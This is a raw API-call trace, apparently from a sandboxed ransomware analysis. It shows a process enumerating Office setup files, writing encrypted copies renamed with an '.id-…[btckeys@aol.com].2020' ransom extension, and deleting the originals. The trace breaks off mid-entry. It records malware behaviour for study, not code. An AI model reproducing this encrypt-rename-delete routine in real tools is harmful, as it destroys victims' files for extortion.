lstrlenW (lpString=".doc") returned 4 [0070.627] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.627] lstrlenW (lpString=".docx") returned 5 [0070.627] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0070.627] lstrlenW (lpString=".pdf") returned 4 [0070.627] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.627] lstrlenW (lpString=".xls") returned 4 [0070.627] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.627] lstrlenW (lpString=".xlsx") returned 5 [0070.627] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0070.627] lstrlenW (lpString=".ppt") returned 4 [0070.627] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0070.627] lstrlenW (lpString=".zip") returned 4 [0070.628] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.628] lstrlenW (lpString=".rar") returned 4 [0070.628] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.628] lstrlenW (lpString=".bz2") returned 4 [0070.628] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.628] lstrlenW (lpString=".7z") returned 3 [0070.628] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0070.628] lstrlenW (lpString=".dbf") returned 4 [0070.628] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0070.628] lstrlenW (lpString=".1cd") returned 4 [0070.628] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0070.628] lstrlenW (lpString=".jpg") returned 4 [0070.628] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0070.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0070.628] lstrlenW (lpString=".doc") returned 4 [0070.628] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.628] lstrlenW (lpString=".docx") returned 5 [0070.628] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0070.628] lstrlenW (lpString=".pdf") returned 4 [0070.628] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.628] lstrlenW (lpString=".xls") returned 4 [0070.629] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.629] lstrlenW (lpString=".xlsx") returned 5 [0070.629] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0070.629] lstrlenW (lpString=".ppt") returned 4 [0070.629] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0070.629] lstrlenW (lpString=".zip") returned 4 [0070.629] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.629] lstrlenW (lpString=".rar") returned 4 [0070.629] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.629] lstrlenW (lpString=".bz2") returned 4 [0070.629] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.629] lstrlenW (lpString=".7z") returned 3 [0070.629] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0070.629] lstrlenW (lpString=".dbf") returned 4 [0070.629] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0070.629] lstrlenW (lpString=".1cd") returned 4 [0070.629] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0070.629] lstrlenW (lpString=".jpg") returned 4 [0070.629] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.630] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0070.630] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0070.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0070.651] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=5557) returned 1 [0070.651] CloseHandle (hObject=0x200) returned 1 [0070.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0070.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0070.652] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0070.652] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0070.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0070.652] GetLastError () returned 0x0 [0070.652] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x15b5, lpOverlapped=0x0) returned 1 [0070.775] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0070.776] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0070.776] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xee, lpOverlapped=0x0) returned 1 [0070.776] SetEndOfFile (hFile=0x1b0) returned 1 [0070.776] CloseHandle (hObject=0x1b0) returned 1 [0070.779] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0070.779] SetEndOfFile (hFile=0x200) returned 1 [0070.779] CloseHandle (hObject=0x200) returned 1 [0070.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.780] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0070.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0070.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0070.780] lstrlenW (lpString=".doc") returned 4 [0070.780] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.780] lstrlenW (lpString=".docx") returned 5 [0070.780] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0070.780] lstrlenW (lpString=".pdf") returned 4 [0070.780] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.780] lstrlenW (lpString=".xls") returned 4 [0070.780] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.780] lstrlenW (lpString=".xlsx") returned 5 [0070.780] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0070.781] lstrlenW (lpString=".ppt") returned 4 [0070.781] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0070.781] lstrlenW (lpString=".zip") returned 4 [0070.781] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.781] lstrlenW (lpString=".rar") returned 4 [0070.781] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.781] lstrlenW (lpString=".bz2") returned 4 [0070.781] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.781] lstrlenW (lpString=".7z") returned 3 [0070.781] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0070.781] lstrlenW (lpString=".dbf") returned 4 [0070.781] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0070.781] lstrlenW (lpString=".1cd") returned 4 [0070.781] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0070.781] lstrlenW (lpString=".jpg") returned 4 [0070.781] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0070.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0070.781] lstrlenW (lpString=".doc") returned 4 [0070.781] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.781] lstrlenW (lpString=".docx") returned 5 [0070.781] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0070.781] lstrlenW (lpString=".pdf") returned 4 [0070.781] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.781] lstrlenW (lpString=".xls") returned 4 [0070.781] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.781] lstrlenW (lpString=".xlsx") returned 5 [0070.781] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0070.781] lstrlenW (lpString=".ppt") returned 4 [0070.781] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0070.782] lstrlenW (lpString=".zip") returned 4 [0070.782] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.782] lstrlenW (lpString=".rar") returned 4 [0070.782] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.782] lstrlenW (lpString=".bz2") returned 4 [0070.782] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.782] lstrlenW (lpString=".7z") returned 3 [0070.782] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0070.782] lstrlenW (lpString=".dbf") returned 4 [0070.782] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0070.782] lstrlenW (lpString=".1cd") returned 4 [0070.782] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0070.782] lstrlenW (lpString=".jpg") returned 4 [0070.782] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.782] lstrcmpiW (lpString1=".CHM", lpString2=".2020") returned 1 [0070.782] lstrlenW (lpString="PSS10O.CHM") returned 10 [0070.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0070.783] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=26929) returned 1 [0070.783] CloseHandle (hObject=0x200) returned 1 [0070.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0070.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0070.783] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0070.783] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0070.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0070.783] GetLastError () returned 0x0 [0070.783] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x6931, lpOverlapped=0x0) returned 1 [0070.917] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x6940, lpOverlapped=0x0) returned 1 [0070.919] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0070.919] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe8, lpOverlapped=0x0) returned 1 [0070.919] SetEndOfFile (hFile=0x1b0) returned 1 [0070.919] CloseHandle (hObject=0x1b0) returned 1 [0070.927] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0070.927] SetEndOfFile (hFile=0x200) returned 1 [0070.928] CloseHandle (hObject=0x200) returned 1 [0070.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.928] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0072.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0072.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0072.740] lstrlenW (lpString=".doc") returned 4 [0072.740] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0072.740] lstrlenW (lpString=".docx") returned 5 [0072.740] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0072.740] lstrlenW (lpString=".pdf") returned 4 [0072.740] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0072.740] lstrlenW (lpString=".xls") returned 4 [0072.740] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0072.740] lstrlenW (lpString=".xlsx") returned 5 [0072.740] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0072.740] lstrlenW (lpString=".ppt") returned 4 [0072.740] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0072.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0072.740] lstrlenW (lpString=".zip") returned 4 [0072.740] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0072.740] lstrlenW (lpString=".rar") returned 4 [0072.740] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0072.740] lstrlenW (lpString=".bz2") returned 4 [0072.740] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0072.740] lstrlenW (lpString=".7z") returned 3 [0072.740] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0072.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0072.741] lstrlenW (lpString=".dbf") returned 4 [0072.741] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0072.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0072.741] lstrlenW (lpString=".1cd") returned 4 [0072.741] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0072.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0072.741] lstrlenW (lpString=".jpg") returned 4 [0072.741] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0072.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0072.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0072.741] lstrlenW (lpString=".doc") returned 4 [0072.741] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0072.741] lstrlenW (lpString=".docx") returned 5 [0072.741] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0072.741] lstrlenW (lpString=".pdf") returned 4 [0072.741] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0072.741] lstrlenW (lpString=".xls") returned 4 [0072.741] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0072.741] lstrlenW (lpString=".xlsx") returned 5 [0072.741] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0072.741] lstrlenW (lpString=".ppt") returned 4 [0072.741] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0072.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0072.742] lstrlenW (lpString=".zip") returned 4 [0072.742] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0072.742] lstrlenW (lpString=".rar") returned 4 [0072.742] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0072.742] lstrlenW (lpString=".bz2") returned 4 [0072.742] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0072.742] lstrlenW (lpString=".7z") returned 3 [0072.742] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0072.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0072.742] lstrlenW (lpString=".dbf") returned 4 [0072.742] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0072.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0072.742] lstrlenW (lpString=".1cd") returned 4 [0072.742] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0072.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0072.742] lstrlenW (lpString=".jpg") returned 4 [0072.742] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0072.742] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0072.742] lstrlenW (lpString="SETUP.XML") returned 9 [0072.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.002] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=9352) returned 1 [0074.002] CloseHandle (hObject=0x1fc) returned 1 [0074.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0074.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.002] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0074.002] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0074.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0074.003] GetLastError () returned 0x0 [0074.003] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x2488, lpOverlapped=0x0) returned 1 [0074.008] WriteFile (in: hFile=0x174, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x2490, lpOverlapped=0x0) returned 1 [0074.009] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0074.009] WriteFile (in: hFile=0x174, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, 